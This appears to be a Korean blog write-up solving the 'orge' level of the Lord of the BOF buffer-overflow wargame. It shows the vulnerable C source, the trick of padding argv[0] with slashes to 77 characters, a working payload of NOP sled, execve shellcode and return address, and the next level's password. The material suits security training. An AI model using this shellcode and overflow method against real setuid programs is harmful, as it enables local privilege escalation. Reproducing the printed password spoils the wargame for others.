login : darkelf
password : kernel crashed
탐색전
cat orge.c
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
이전 문제에서 다른 점을ㅋㅋㅋㅋㅋ
귀엽게도 here is changed! 라고 알려준다.
argv[0]의 사이즈가 77이 되도록 풀어야 한다. (아니면 종료되니까)
나머지 조건은 전 문제와 동일하다.
argv[0]은 경로인걸로 알고있는데 이걸 어떻게... 할까? 싶다가도
/bin/sh와
/bin//sh가 같다는 말이 떠오르긴 한다.
cp orge myge
풀이
흠 그러면
./orge와 .///orge의 실행이 같을까 궁금해서
test를 한번 만들어봤다.
#include<stdio.h>
int main(int argc, char *argv[])
{
printf("%s\n",argv[0]);
return 0;
}
정말 별거 없는 test인데 이를 빌드하고
./test 했을 때와 .///test 했을 때는 같았다.
그래서, ./orge 그러니까 지금은 myge
./myge에서 .와 myge는 총 5글자니까 /을 72개 쳐주는 걸로 실행부터 파이썬으로 해봐야겠다.
$(python -c "print '.'+'/'*72+'myge' ")
이런 느낌..?
인자도 A를 47개 + \xbf로 전달해주어 core dump를 일으켜보자
대충
인자를 생각하면 이러한 메모리 구조를 가지는데 core dump가 난 시점에서 esp 는 ret 다음 주소에 위치한다.
그래서
표시한 부분들이 buf가 있는 부분이 될 것이고,
더 내려가서 있는 부분들이 인자의 위치가 될 것이다.
그래서 이전 문제에서 사용한 방법을 여기에 맞게 수정해보겠다.
우선 argv[1]의 시작주소는 0xbffffb9b가 될텐데 여기에 그냥 좀 더 널널하게 해서 0xbffffba0로 하고 nop을 채우겠다.
myge에서는 된다.
$(python -c "print '.'+'/'*72+'myge' ") $(python -c "print '\x90'*19+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\xa0\xfb\xff\xbf' ")
그러면 orge에서도 된다.
$(python -c "print '.'+'/'*72+'orge' ") $(python -c "print '\x90'*19+'\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80'+'\xa0\xfb\xff\xbf' ")
timewalker
짜잔~